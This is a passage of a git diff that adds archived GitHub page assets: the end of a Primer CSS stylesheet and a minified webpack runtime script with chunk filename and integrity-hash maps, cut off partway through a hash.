544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9e90cad64bc","app_components_primer_modal_dialog_modal-dialog-element_ts":"191000849018","app_components_pull_requests_file_tree_file-filter-element_ts":"832274f35bf2","app_components_pull_requests_file_tree_file-tree-element_ts":"f3152f4f0a04","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"ef3d053b90c4","app_components_repos_alerts_dependabot-alert-row-element_ts":"4b2c2c17a666","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"7a8a0e5e816e","app_components_repositories_memex_memex-project-picker-element_ts":"53ed3ef415f5","app_components_repositories_pin-organization-repo-element_ts":"8169732f40ca",app_components_search_parsing_common_ts:"669dbaaac99c","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067":"10d0e2f3411a","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c":"2e9a9b96b433","app_components_search_search-input-element_ts":"c662cde7b457",app_components_search_suggestions_blackbird_ts:"9d3f0b9a1660","app_components_search_suggestions_custom-scopes_ts":"df25852e3ad8",app_components_search_suggestions_default_ts:"1e7083750a58","app_components_search_suggestions_fixed-qualifiers_ts":"f3da35af54f7",app_components_search_suggestions_history_ts:"5b7778d3b8d2",app_components_search_suggestions_languages_ts:"f8f91a6927a5","node_modules_delegated-events_dist_index_js":"a5f42cedc533",app_components_search_suggestions_suggestions_ts:"07b36587481e",app_components_search_suggestions_types_ts:"916e3d8c45b4","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"625e7dd04142","app_components_sidebar_project-picker-element_ts":"a7445ee5bcf3","app_components_slash_commands_slash-command-toolbar-button-element_ts":"447765607cc3","vendors-node_modules_chart_js_dist_chart_esm_js":"6cff96b2b76c","app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts":"5b02ffbbc782","app_components_stafftools_turbo_turbo-staffbar-element_ts":"22fa02e1f021","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"302a5111f0a7","app_components_themed_pictures_themed-picture-element_ts":"9f2cc0c8b0fc","app_components_tracking_blocks_tracking-block-api_ts":"d2edfcc3fd5a","app_components_tracking_blocks_tracking-block-element_ts":"1bf94db855a2","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"f776363d9b1c","app_assets_modules_github_profile_profile-pins-element_ts":"3f9eaf9c1f60","app_assets_modules_github_emoji-picker-element_ts":"5eb690ad8ba2","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"5517e7abe783","app_assets_modules_github_insights_insights-query_ts":"1d49b290a0a9","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"5ec315b1456a","app_assets_modules_github_insights_series-table_ts":"88c40e967d3d","vendors-node_modules_github_base-chart-element_dist_base-chart_js":"527a851d4dfc","app_assets_modules_github_insights_line-chart_ts":"ea9f86c8b7ce","app_assets_modules_github_insights_bar-chart_ts":"79b8bed29df1","app_assets_modules_github_insights_column-chart_ts":"5086ae8267a3","app_assets_modules_github_insights_stacked-area-chart_ts":"f2b10cc42f1b","app_assets_modules_github_presence_presence-avatars_ts":"68eea861e2bd","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"555a0a12a2af","app_assets_modules_github_stacks_stacks-input-config-view_ts":"52b337e4e085","app_assets_modules_github_graphs_community-contributions_ts":"d1497b6d575f","app_assets_modules_github_graphs_discussion-page-views_ts":"b7b14d0a8e16","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"ae3978791f6f","app_assets_modules_github_graphs_discussions-new-contributors_ts":"b53affc543a7","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"bb79cb796c54","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"cb8dab829171","vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158":"b1f74f8aa268","app_assets_modules_github_graphs_contributors-graph-element_ts":"618c49878ee2","vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834":"b4d52f496960","app_assets_modules_github_graphs_org-insights-graph-element_ts":"ffb02396dbf4","app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25":"9d80281b1f30","app_assets_modules_github_graphs_traffic-clones-graph-element_ts":"cd2424a12f84","app_assets_modules_github_graphs_traffic-visitors-graph-element_ts":"0d5b216bec91","app_assets_modules_github_graphs_commit-activity-graph-element_ts":"1c205baacb3b","app_assets_modules_github_graphs_marketplace-insights-graph-element_ts":"6e57a35fbc19","vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d":"1bf929bb3d58","app_assets_modules_github_settings_user-sessions-map-element_ts":"38e2fd1a876f","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"0383e1293fe8","app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts":"4ba70be83c34",app_assets_modules_github_dependencies_ts:"9edfce444edb","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"c308a504a500","app_assets_modules_github_graphs_network-graph-element_ts":"4e7d9dc97c14","app_assets_modules_github_business-audit-log-map-element_ts":"48ea5be979d9","app_assets_modules_github_localization_inline-machine-translation-element_ts":"203846088225","app_assets_modules_github_gist_drag-drop_ts":"83cc70a31603","app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts":"e6b2becb5f85","app_assets_modules_github_profile_contributions-spider-graph_ts":"9823b871480c","app_assets_modules_github_webgl-warp_ts":"8d34dd71e14f","vendors-node_modules_mathjax_es5_tex-chtml-full_js":"e458fb3fc4c8","app_components_search_parsing_parsing_ts-_b3650":"0b181ac6599e"}[e]+".js",t.g=function(){if(typeof globalThis=="object")return globalThis;try{return this||new Function("return this")()}catch{if(typeof window=="object")return window}}(),t.o=(e,o)=>Object.prototype.hasOwnProperty.call(e,o),(()=>{var e={};t.l=(o,_,a,n)=>{if(e[o]){e[o].push(_);return}var s,p;if(a!==void 0)for(var r=document.getElementsByTagName("script"),i=0;i{s.onerror=s.onload=null,clearTimeout(m);var H=e[o];if(delete e[o],s.parentNode&&s.parentNode.removeChild(s),H&&H.forEach(f=>f(h)),c)return c(h)},"onScriptComplete"),m=setTimeout(d.bind(null,void 0,{type:"timeout",target:s}),12e4);s.onerror=d.bind(null,s.onerror),s.onload=d.bind(null,s.onload),p&&document.head.appendChild(s)}})(),t.r=e=>{typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),(()=>{var e;t.g.importScripts&&(e=t.g.location+"");var o=t.g.document;if(!e&&o&&(o.currentScript&&(e=o.currentScript.src),!e)){var _=o.getElementsByTagName("script");_.length&&(e=_[_.length-1].src)}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=e})(),t.sriHashes={"vendors-node_modules_selector-observer_dist_index_esm_js":"sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==","vendors-node_modules_lit-html_lit-html_js":"sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe":"sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==","vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js":"sha512-yG3t7Lpt5yKkdMNXFpl75Xemm+g4ghZ5e8xRBwl/HMbmgc3htVvxrjbohbK9MMfnnci1SnogZNH9DhJHYdQf3A==",app_assets_modules_github_behaviors_pjax_ts:"sha512-n4Tyfi5c/uwygTjsnha2QyN3+RMC8XNjYdlbvspiE6fN9tdKgsapC36CztCZX31jUoPvHY3HPpR4MaU5JZhs5Q==","vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"sha512-/++TT20eDLJNbF6hqcRE9Wk74AtUzJG26xP07mzhzLv81OuyBTpNhkbEMVXmzfGvVNFtdNW9+++nRzBrRDvE0w==","app_assets_modules_github_sortable-behavior_ts":"sha512-zVRhcDdmBJSH4u1VshV0m1Xv/MsVY8gEDm/mDjd2JuMmKVGL4XI6xXxteqHwrdcrnnxovc5cvbic9Ryndq0R5w==","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"sha512-Yl590EFCC9Ai3oBOBPGHHnFk/m1dfRZ36ed6B/COnfIrFsgDBfXJZNd3tJ4MkFqHRJkz6iaG5/8Tz1t2xgW8+Q==","app_components_sidebar_project-picker-element_ts":"sha512-p0Re5bzz6wRFJRIv2VOMGO7ZF4y1038S3tnivDySJ9vmnXsqZgZnyep/CNT8sOD3eVgHZV7OSZ8Lw9RDD1MR7g==","vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4":"sha512-xQujFZw3phJWVoaFFnQwaUyge4dMBCYeIUJTBis12/Ml14pFxb8mK5nHxiVAkDFkky5Pbpgim21NSklHDKAb+w==","vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f":"sha512-MW1VdX/TnBLsISJzPGBKrpMGPFCdyiVSOGVtEbLeTm7Fx9bBeaZs2ImvCoHgtthCiRH+x3TfmUa/vcUep1gqCg==","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"sha512-u3nLeWxUBoYrHeCgWzlGQ79rCQhTxl87+1tiMjBXnIfEJycCoOQepZgYrThfBpBZY3LTSx3+6yIkav2e1U12iw==","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"sha512-y42rgpFxP1DbK0bNhHyC8fOOU/1Ip2CmKZy2zlG+aMUOcpqlghWSqkQG2nqjNMc9WBAwHLvhrqiwlpoBLgZb9A==","app_assets_modules_github_graphs_commit-activity-graph-element_ts":"sha512-HCBbqss74mhyMQ3mPLklYK1fsZcOHMHxgL7ArjS7NDXVTnhT+qNy+SlLMuMRPlnhZRxwqpkcgUnx6/CVvY60lw==","vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d":"sha512-G/kpuz1Y16Gg/ijNaeSkjiKtLLZzEFA3+fEJfh+mIJo3Af574OKPX0TauHXITa8Dxh+kcghjj+0o4z5lFlGObg==","app_assets_modules_github_settings_user-sessions-map-element_ts":"sha512-OOL9GodvJHHJLcmfT5ZTcqw4f+l7WpsTBHCY4u8oMfNNgJS0SEtzPOStE+gy2yM79MnNc8e0F+jbjVdxm5plcA==","vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158":"sha512-sfdPiqJoHzuwsvJhwKkgvs2ORgo6jTHJsVICMbtg9XpZ1jFUjJ4PcpUdJcP7kGcDTxx1uAl2kHM9WP9wKiVZig==","app_assets_modules_github_graphs_contributors-graph-element_ts":"sha512-YYxJh47iVfa6diFGp5WHAAhsomGVI3YrbiNQegkWYUIdrgjTisTgIB9zXXzf4O6EhhJZaRP1xkM+OyB9vYJg9A==","vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834":"sha512-tNUvSWlgjIZmBlPG